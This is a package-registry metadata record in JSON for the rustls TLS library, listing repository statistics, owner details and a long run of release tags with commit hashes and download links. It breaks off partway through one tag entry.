{"id":4281141,"name":"rustls","ecosystem":"cargo","description":"Rustls is a modern TLS library written in Rust.","homepage":"https://github.com/rustls/rustls","licenses":"Apache-2.0 OR ISC OR MIT","normalized_licenses":["Apache-2.0","ISC","MIT"],"repository_url":"https://github.com/rustls/rustls","keywords_array":[],"namespace":null,"versions_count":114,"first_release_published_at":"2016-08-27T06:58:30.801Z","latest_release_published_at":"2026-07-29T16:14:13.433Z","latest_release_number":"0.23.43","last_synced_at":"2026-08-17T17:35:32.133Z","created_at":"2022-04-13T03:26:30.029Z","updated_at":"2026-08-17T18:00:31.343Z","registry_url":"https://crates.io/crates/rustls/","install_command":"cargo install rustls","documentation_url":"https://docs.rs/rustls/","metadata":{"categories":["cryptography","network-programming"]},"repo_metadata":{"id":37860611,"uuid":"57920736","full_name":"rustls/rustls","owner":"rustls","description":"A modern TLS library in Rust","archived":false,"fork":false,"pushed_at":"2026-08-12T15:15:34.000Z","size":19649,"stargazers_count":7563,"open_issues_count":83,"forks_count":870,"subscribers_count":79,"default_branch":"main","last_synced_at":"2026-08-12T16:29:02.949Z","etag":null,"topics":["cryptography","rust","ssl","tls"],"latest_commit_sha":null,"homepage":"","language":"Rust","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/rustls.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":"audit/TLS-01-report.pdf","citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":"ROADMAP.md","authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"github":["cpu","ctz","djc"]}},"created_at":"2016-05-02T20:50:44.000Z","updated_at":"2026-08-12T15:17:42.000Z","dependencies_parsed_at":"2026-08-12T16:29:04.313Z","dependency_job_id":null,"html_url":"https://github.com/rustls/rustls","commit_stats":{"total_commits":3448,"total_committers":168,"mean_commits":"20.523809523809526","dds":0.552784222737819,"last_synced_commit":"5c5cdcc60a53c5870a8f7a49a6c7433c12acc5c9"},"previous_names":["ctz/rustls"],"tags_count":113,"template":false,"template_full_name":null,"purl":"pkg:github/rustls/rustls","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/rustls","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36608585,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-13T02:00:06.325Z","response_time":111,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"rustls","name":"rustls","uuid":"65125397","kind":"organization","description":"Modern TLS for Rust","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/65125397?v=4","repositories_count":27,"last_synced_at":"2026-08-14T04:43:11.514Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/rustls","funding_links":[],"total_stars":10052,"followers":195,"following":0,"created_at":"2022-11-02T16:29:52.204Z","updated_at":"2026-08-14T04:43:11.530Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/rustls","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/rustls/repositories"},"tags":[{"name":"v/0.23.43","sha":"fcf61cdbba30913cfd5b40aefa83989c6233812d","kind":"commit","published_at":"2026-07-29T16:03:56.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.43","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.43","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.43","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.43","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.43/manifests"},{"name":"v/0.23.42","sha":"411fb0278820bbf81ac825b24823f31bed55190e","kind":"tag","published_at":"2026-07-13T15:24:38.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.42","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.42","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.42","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.42","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.42/manifests"},{"name":"v/0.23.41","sha":"642a10300a1e703279bdc70e73f7e6db8d99ccbf","kind":"tag","published_at":"2026-06-22T13:29:54.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.41","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.41","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.41","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.41","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.41/manifests"},{"name":"v/0.23.40","sha":"b44c09fbca5172b3f5e5ed6ba2ffe6fcd934e07a","kind":"commit","published_at":"2026-04-28T15:41:34.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.40","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.40","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.40","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.40","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.40/manifests"},{"name":"v/0.23.39","sha":"05416057db6a08b70581c179f9fb32144e288b30","kind":"tag","published_at":"2026-04-22T21:27:25.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.39","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.39","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.39","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.39","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.39/manifests"},{"name":"v/0.23.38","sha":"6b116bc5e8556fd65286a1b4220f57dd9fbb5e54","kind":"tag","published_at":"2026-04-12T21:27:03.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.38","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.38","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.38","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.38","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.38/manifests"},{"name":"v/0.23.37","sha":"4b455b819962978b4b6e009def15107ac5f4c5e8","kind":"tag","published_at":"2026-02-24T17:54:31.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.37","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.37","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.37","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.37","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.37/manifests"},{"name":"v/0.23.36","sha":"b47bf5466a282cd63db8fc73a533ea05c1a90d5e","kind":"commit","published_at":"2026-01-05T17:46:37.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.36","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.36","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.36","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.36","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.36/manifests"},{"name":"v/0.23.35","sha":"7768cd2b44049e040685d48318d13bfa7f7d32a8","kind":"tag","published_at":"2025-11-04T16:04:37.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.35","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.35","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.35","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.35/manifests"},{"name":"v/0.23.34","sha":"4cee226dbeb3fafeedda9041a2673d139319b51f","kind":"tag","published_at":"2025-10-22T06:42:57.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.34","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.34/manifests"},{"name":"v/0.23.33","sha":"b4597ca1f6d386eee64e99b528dd58c8b4e073b5","kind":"commit","published_at":"2025-10-17T09:32:05.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.33","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.33/manifests"},{"name":"rustls-post-quantum-v/0.2.4","sha":"9198bbd1446ee1b4ef3fd6fcf27d421c40080c61","kind":"tag","published_at":"2025-09-23T15:20:09.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/rustls-post-quantum-v/0.2.4","html_url":"https://github.com/rustls/rustls/releases/tag/rustls-post-quantum-v/0.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@rustls-post-quantum-v%2F0.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/rustls-post-quantum-v%2F0.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/rustls-post-quantum-v%2F0.2.4/manifests"},{"name":"v/0.23.32","sha":"6a188a70a0e1bf4547884a9cdd7710936d653a22","kind":"commit","published_at":"2025-09-19T11:27:59.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.32","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.32/manifests"},{"name":"v/0.23.31","sha":"647ece13463bbb6eaf756146596fe182644424b1","kind":"commit","published_at":"2025-07-29T17:57:30.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.31","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.31/manifests"},{"name":"v/0.23.30","sha":"0ccbc63df37c846691d87670c412decb3c4f23a1","kind":"tag","published_at":"2025-07-27T13:06:07.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.30","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.30/manifests"},{"name":"rustls-post-quantum-v/0.2.3","sha":"d013f9a5847fbf4358f09f87ac600fde50f1ba15","kind":"tag","published_at":"2025-07-16T08:20:33.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/rustls-post-quantum-v/0.2.3","html_url":"https://github.com/rustls/rustls/releases/tag/rustls-post-quantum-v/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@rustls-post-quantum-v%2F0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/rustls-post-quantum-v%2F0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/rustls-post-quantum-v%2F0.2.3/manifests"},{"name":"v/0.23.29","sha":"4e0b5fed1731d70447baecb14e87412dc5286078","kind":"tag","published_at":"2025-07-10T11:54:44.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.29","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.29/manifests"},{"name":"v/0.23.28","sha":"12fe0c123fa7dd0d2ed46cc815d3629d9f07c335","kind":"commit","published_at":"2025-06-16T11:35:50.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.28","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.28/manifests"},{"name":"v/0.23.27","sha":"260190933b0ac2408dc6b5939dd6273fe110de83","kind":"tag","published_at":"2025-05-05T20:22:14.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.27","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.27/manifests"},{"name":"v/0.23.26","sha":"88dccec476595321af9a32708ffbf63200701a98","kind":"commit","published_at":"2025-04-10T10:10:32.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.26","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.26/manifests"},{"name":"v/0.23.25","sha":"1e2b4f3c946ad159ee9774a14dec23c544603a49","kind":"commit","published_at":"2025-03-17T13:31:07.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.25","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.25/manifests"},{"name":"v/0.23.24","sha":"3ab8a8ef9359cba2e711c4b07dfe8444e5f66f29","kind":"commit","published_at":"2025-03-17T09:36:09.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.24","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.24/manifests"},{"name":"v/0.23.23","sha":"774214751ba5e8e62a49f80fbaf13630441eddd1","kind":"tag","published_at":"2025-02-11T16:10:30.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.23","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.23/manifests"},{"name":"v/0.23.22","sha":"784b87330788becaad1d932d0c592a4051e9ea0b","kind":"commit","published_at":"2025-01-30T17:57:38.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.22","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.22/manifests"},{"name":"rustls-post-quantum-v/0.2.2","sha":"784b87330788becaad1d932d0c592a4051e9ea0b","kind":"commit","published_at":"2025-01-30T17:57:38.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/rustls-post-quantum-v/0.2.2","html_url":"https://github.com/rustls/rustls/releases/tag/rustls-post-quantum-v/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@rustls-post-quantum-v%2F0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/rustls-post-quantum-v%2F0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/rustls-post-quantum-v%2F0.2.2/manifests"},{"name":"v/0.23.21","sha":"d1bd2c86341eb491921feca3c9408061eb0262fe","kind":"tag","published_at":"2025-01-10T13:32:18.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.21","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.21/manifests"},{"name":"rustls-post-quantum-v/0.2.1","sha":"d06ab266f26804aeb982a40d7a22f36a908e8b7e","kind":"commit","published_at":"2024-12-11T17:14:17.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/rustls-post-quantum-v/0.2.1","html_url":"https://github.com/rustls/rustls/releases/tag/rustls-post-quantum-v/0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@rustls-post-quantum-v%2F0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/rustls-post-quantum-v%2F0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/rustls-post-quantum-v%2F0.2.1/manifests"},{"name":"v/0.23.20","sha":"b4628c7b6123831eea97c0fcb1a1475e40f5c345","kind":"commit","published_at":"2024-12-11T15:49:57.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.20","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.20/manifests"},{"name":"rustls-post-quantum-v/0.2.0","sha":"b4628c7b6123831eea97c0fcb1a1475e40f5c345","kind":"commit","published_at":"2024-12-11T15:49:57.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/rustls-post-quantum-v/0.2.0","html_url":"https://github.com/rustls/rustls/releases/tag/rustls-post-quantum-v/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@rustls-post-quantum-v%2F0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/rustls-post-quantum-v%2F0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/rustls-post-quantum-v%2F0.2.0/manifests"},{"name":"v/0.23.19","sha":"4962141f538bd2e65b488ffceb5ebfac6a5cce97","kind":"commit","published_at":"2024-11-27T13:57:50.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.19","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.19/manifests"},{"name":"v/0.23.18","sha":"33af2c38b0f1e4abf44d59d5b74ccf12f5cf5e56","kind":"commit","published_at":"2024-11-22T18:15:58.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.18","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.18/manifests"},{"name":"v/0.23.17","sha":"5c5cdcc60a53c5870a8f7a49a6c7433c12acc5c9","kind":"commit","published_at":"2024-11-15T16:22:31.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.17","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.17/manifests"},{"name":"v/0.23.16","sha":"276eb7442ccbbe3d04fb2f21fb4b0c0ac3c70318","kind":"tag","published_at":"2024-10-28T13:18:41.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.16","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.16/manifests"},{"name":"v/0.23.15","sha":"3099020a2239729f2e2bd99a09f870dc2f4a57bc","kind":"commit","published_at":"2024-10-16T11:48:04.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.15","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.15/manifests"},{"name":"v/0.23.14","sha":"cf736e3d4bbe35cd151c649addc5c065e61d4d35","kind":"commit","published_at":"2024-10-04T13:06:46.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.14","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.14/manifests"},{"name":"v/0.23.13","sha":"a8d875fb2096e2eee57735189868db7d7e2ba0c0","kind":"commit","published_at":"2024-09-10T10:19:58.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.13","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.13/manifests"},{"name":"v/0.23.12","sha":"ebda3856602f3af2ced19a792e6fed1d70c500e4","kind":"tag","published_at":"2024-07-23T15:31:36.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.12","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.12/manifests"},{"name":"v/0.23.11","sha":"7b521dadb98d9198bc8f5e56efe9c14c9690aa83","kind":"commit","published_at":"2024-07-08T16:01:14.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.11","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.11/manifests"},{"name":"v/0.23.10","sha":"29286435df02bbc85a75570c9ab